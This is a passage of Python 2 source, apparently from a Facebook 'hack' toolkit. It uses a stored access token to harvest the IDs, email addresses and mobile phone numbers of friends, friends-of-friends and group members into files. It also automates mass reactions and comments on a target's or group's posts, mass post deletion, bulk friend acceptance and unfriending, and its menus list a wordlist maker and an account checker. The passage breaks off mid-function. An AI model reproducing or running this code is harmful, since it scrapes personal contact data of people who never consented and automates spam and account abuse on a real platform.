else: if cuih == '5': emailfrom_friend() else: if cuih == '6': Number_hp() else: if cuih == '7': hpfrom_friend() else: if cuih == '0': menu_hack() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mThere is no' grab_choose() def id_friend(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) z = json.loads(r.text) save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_id, 'w') Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['data']: idfriend.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount ID \x1b[1;96m%s' % len(idfriend) print '\x1b[1;91m[+] \x1b[1;97mFile Stored \x1b[1;91m: \x1b[1;97m' + save_id bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Error while creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stalled' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except KeyError: os.remove(save_id) print '\x1b[1;91m[!] An error occurred' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] There is no connection' Exit() def idfrom_friend(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mFeedback ID friend \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Not yet friend' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket) z = json.loads(r.text) save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') bz = open(save_idt, 'w') Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for ah in z['friends']['data']: idfromfriend.append(ah['id']) bz.write(ah['id'] + '\n') print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + ah['name'] print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount ID \x1b[1;96m%s' % len(idfromfriend) print '\x1b[1;91m[+] \x1b[1;97mFile Stored \x1b[1;91m: \x1b[1;97m' + save_idt bz.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Error while creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stalled' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] There is no connection' Exit() def id_member_group(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mID group \x1b[1;91m:\x1b[1;97m ') try: r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket) asw = json.loads(r.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName group \x1b[1;91m:\x1b[1;97m ' + asw['name'] except KeyError: print '\x1b[1;91m[!] group was not Found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') b = open(simg, 'w') Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket) s = json.loads(re.text) for i in s['data']: idmem.append(i['id']) b.write(i['id'] + '\n') print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + i['name'] print '\x1b[1;92mID \x1b[1;91m :\x1b[1;97m ' + i['id'] print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount ID \x1b[1;96m%s' % len(idmem) print '\x1b[1;91m[+] \x1b[1;97mFile Stored \x1b[1;91m: \x1b[1;97m' + simg b.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Error while creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stalled' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except KeyError: os.remove(simg) print '\x1b[1;91m[!] group was not Found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] There is no connection' Exit() def email(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: em.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount Email\x1b[1;96m%s' % len(em) print '\x1b[1;91m[+] \x1b[1;97mFile Stored \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Error while creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stalled' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except KeyError: os.remove(mails) print '\x1b[1;91m[!] An error occurred' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] There is no connection' Exit() def emailfrom_friend(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mFeedback ID friend \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Not yet friend' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) mpsh = open(mails, 'w') Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: emfromfriend.append(z['email']) mpsh.write(z['email'] + '\n') print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount Email\x1b[1;96m%s' % len(emfromfriend) print '\x1b[1;91m[+] \x1b[1;97mFile Stored \x1b[1;91m: \x1b[1;97m' + mails mpsh.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Error while creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stalled' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] There is no connection' Exit() def Number_hp(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') url = 'https://graph.facebook.com/me/friends?access_token=' + toket r = requests.get(url) z = json.loads(r.text) no = open(noms, 'w') Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for n in z['data']: x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hp.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNumber\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount Number\x1b[1;96m%s' % len(hp) print '\x1b[1;91m[+] \x1b[1;97mFile Stored \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Error while creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stalled' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except KeyError: os.remove(noms) print '\x1b[1;91m[!] An error occurred' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] There is no connection' Exit() def hpfrom_friend(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' idt = raw_input('\x1b[1;91m[+] \x1b[1;92mFeedback ID friend \x1b[1;91m: \x1b[1;97m') try: jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) op = json.loads(jok.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] except KeyError: print '\x1b[1;91m[!] Not yet friend' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSave File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) a = json.loads(r.text) no = open(noms, 'w') Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in a['data']: x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) z = json.loads(x.text) try: hpfromfriend.append(z['mobile_phone']) no.write(z['mobile_phone'] + '\n') print '\r\x1b[1;92mName\x1b[1;91m :\x1b[1;97m ' + z['name'] print '\x1b[1;92mNumber\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] print 40 * '\x1b[1;97m\xe2\x95\x90' except KeyError: pass print '\n\r\x1b[1;91m[+] \x1b[1;97mAmount Number\x1b[1;96m%s' % len(hpfromfriend) print '\x1b[1;91m[+] \x1b[1;97mFile Stored \x1b[1;91m: \x1b[1;97m' + noms no.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except IOError: print '\x1b[1;91m[!] Error while creating file' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Stalled' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') grab() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] There is no connection' Exit() def menu_bot(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Bot Reactions Target Post' print '\x1b[1;37;40m2. Bot Reactions group Post' print '\x1b[1;37;40m3. Bot come Target Post' print '\x1b[1;37;40m4. Bot come group Post' print '\x1b[1;37;40m5. Mass delete Post' print '\x1b[1;37;40m6. Accept friendship request' print '\x1b[1;37;40m7. Remove friendship' print '\x1b[1;31;40m0. Back' print bot_choose() def bot_choose(): bots = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if bots == '': print '\x1b[1;91m[!] Dont be empty' bot_choose() else: if bots == '1': menu_react() else: if bots == '2': group_react() else: if bots == '3': bot_come() else: if bots == '4': group_come() else: if bots == '5': deletepost() else: if bots == '6': accept() else: if bots == '7': unfriend() else: if bots == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + bots + ' \x1b[1;91mThere is no' bot_choose() def menu_react(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSad' print '\x1b[1;37;40m6. \x1b[1;97mAngry' print '\x1b[1;31;40m0. Back' print react_choose() def react_choose(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Dont be empty' react_choose() else: if aksi == '1': tipe = 'LIKE' react() else: if aksi == '2': tipe = 'LOVE' react() else: if aksi == '3': tipe = 'WOW' react() else: if aksi == '4': tipe = 'HAHA' react() else: if aksi == '5': tipe = 'SAD' react() else: if aksi == '6': tipe = 'ANGRY' react() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mThere is no' react_choose() def react(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') try: oh = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reaction.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Done \x1b[1;96m' + str(len(reaction)) raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID was not Found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() def group_react(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. \x1b[1;97mLike' print '\x1b[1;37;40m2. \x1b[1;97mLove' print '\x1b[1;37;40m3. \x1b[1;97mWow' print '\x1b[1;37;40m4. \x1b[1;97mHaha' print '\x1b[1;37;40m5. \x1b[1;97mSad' print '\x1b[1;37;40m6. \x1b[1;97mAngry' print '\x1b[1;31;40m0. Back' print reactg_choose() def reactg_choose(): global tipe aksi = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if aksi == '': print '\x1b[1;91m[!] Dont be empty' reactg_choose() else: if aksi == '1': tipe = 'LIKE' reactg() else: if aksi == '2': tipe = 'LOVE' reactg() else: if aksi == '3': tipe = 'WOW' reactg() else: if aksi == '4': tipe = 'HAHA' reactg() else: if aksi == '5': tipe = 'SAD' reactg() else: if aksi == '6': tipe = 'ANGRY' reactg() else: if aksi == '0': menu_bot() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + aksi + ' \x1b[1;91mThere is no' reactg_choose() def reactg(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID group \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName group \x1b[1;91m:\x1b[1;97m ' + asw['name'] try: oh = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) ah = json.loads(oh.text) Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for a in ah['feed']['data']: y = a['id'] reactiongroup.append(y) requests.post('https://graph.facebook.com/' + y + '/reactions?type=' + tipe + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + y[:10].replace('\n', ' ') + '... \x1b[1;92m] \x1b[1;97m' + tipe print print '\r\x1b[1;91m[+]\x1b[1;97m Done \x1b[1;96m' + str(len(reactiongroup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID was not Found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() def bot_come(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mUse \x1b[1;97m'<>' \x1b[1;92mFor the New Line" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mto commit \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: p = requests.get('https://graph.facebook.com/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] come.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Done \x1b[1;96m' + str(len(come)) raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID was not Found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() def group_come(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print "\x1b[1;91m[!] \x1b[1;92mUse \x1b[1;97m'<>' \x1b[1;92mFor the New Line" ide = raw_input('\x1b[1;91m[+] \x1b[1;92mID group \x1b[1;91m:\x1b[1;97m ') km = raw_input('\x1b[1;91m[+] \x1b[1;92mto commit \x1b[1;91m:\x1b[1;97m ') limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') km = km.replace('<>', '\n') try: ah = requests.get('https://graph.facebook.com/group/?id=' + ide + '&access_token=' + toket) asw = json.loads(ah.text) print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mName group \x1b[1;91m:\x1b[1;97m ' + asw['name'] p = requests.get('https://graph.facebook.com/v3.0/' + ide + '?fields=feed.limit(' + limit + ')&access_token=' + toket) a = json.loads(p.text) Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for s in a['feed']['data']: f = s['id'] comegroup.append(f) requests.post('https://graph.facebook.com/' + f + '/comments?message=' + km + '&access_token=' + toket) print '\x1b[1;92m[\x1b[1;97m' + km[:10].replace('\n', ' ') + '... \x1b[1;92m]' print print '\r\x1b[1;91m[+]\x1b[1;97m Done \x1b[1;96m' + str(len(comegroup)) raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() except KeyError: print '\x1b[1;91m[!] ID was not Found' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() def deletepost(): os.system('clear') try: toket = open('login.txt', 'r').read() nam = requests.get('https://graph.facebook.com/me?access_token=' + toket) lol = json.loads(nam.text) Name = lol['name'] except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[+] \x1b[1;92mFrom \x1b[1;91m: \x1b[1;97m%s' % Name Street('\x1b[1;91m[+] \x1b[1;92mStart deleting the post\x1b[1;97m ...') print 40 * '\x1b[1;97m\xe2\x95\x90' asu = requests.get('https://graph.facebook.com/me/feed?access_token=' + toket) asus = json.loads(asu.text) for p in asus['data']: id = p['id'] piro = 0 url = requests.get('https://graph.facebook.com/' + id + '?method=delete&access_token=' + toket) ok = json.loads(url.text) try: error = ok['error']['message'] print '\x1b[1;91m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;91m] \x1b[1;95mfailed' except TypeError: print '\x1b[1;92m[\x1b[1;97m' + id[:10].replace('\n', ' ') + '...' + '\x1b[1;92m] \x1b[1;96mWas deleted' piro += 1 except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Connection Error' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mDone' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() def accept(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' limit = raw_input('\x1b[1;91m[!] \x1b[1;92mLimit \x1b[1;91m:\x1b[1;97m ') r = requests.get('https://graph.facebook.com/me/friendrequests?limit=' + limit + '&access_token=' + toket) friend = json.loads(r.text) if '[]' in str(friend['data']): print '\x1b[1;91m[!] There is no friend request' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for i in friend['data']: gas = requests.post('https://graph.facebook.com/me/friends/' + i['from']['id'] + '?access_token=' + toket) a = json.loads(gas.text) if 'error' in str(a): print '\x1b[1;91m[+] \x1b[1;92mName \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;91m failed' print 40 * '\x1b[1;97m\xe2\x95\x90' else: print '\x1b[1;91m[+] \x1b[1;92mName \x1b[1;91m:\x1b[1;97m ' + i['from']['name'] print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + i['from']['id'] + '\x1b[1;92m itworks' print 40 * '\x1b[1;97m\xe2\x95\x90' print '\n\x1b[1;91m[+] \x1b[1;97mDone' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() def unfriend(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' Street('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mWait a minute \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;97mStop \x1b[1;91mCTRL+C' print try: pek = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(pek.text) for i in cok['data']: Name = i['name'] id = i['id'] requests.delete('https://graph.facebook.com/me/friends?uid=' + id + '&access_token=' + toket) print '\x1b[1;97m[\x1b[1;92mWas deleted\x1b[1;97m] ' + Name + ' => ' + id except IndexError: pass except KeyboardInterrupt: print '\x1b[1;91m[!] Stalled' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() print '\n\x1b[1;91m[+] \x1b[1;97mDone' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu_bot() def other(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Create a post' print '\x1b[1;37;40m2. Create Wordlist' print '\x1b[1;37;40m3. Account Checker' print '\x1b[1;37;40m4. See list group' print '\x1b[1;37;40m5. Profile Guard' print print '\x1b[1;97m ->Coming soon<-' print print '\x1b[1;31;40m0. Back' print choose_other() def choose_other(): other = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if other == '': print '\x1b[1;91m[!] Dont be empty' choose_other() else: if other == '1': status() else: if other == '2': wordlist() else: if other == '3': check_akun() else: if other == '4': groupsaya() else: if other == '5': guard() else: if other == '0': menu() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + other + ' \x1b[1;91mThere is no' choose_other() def status(): 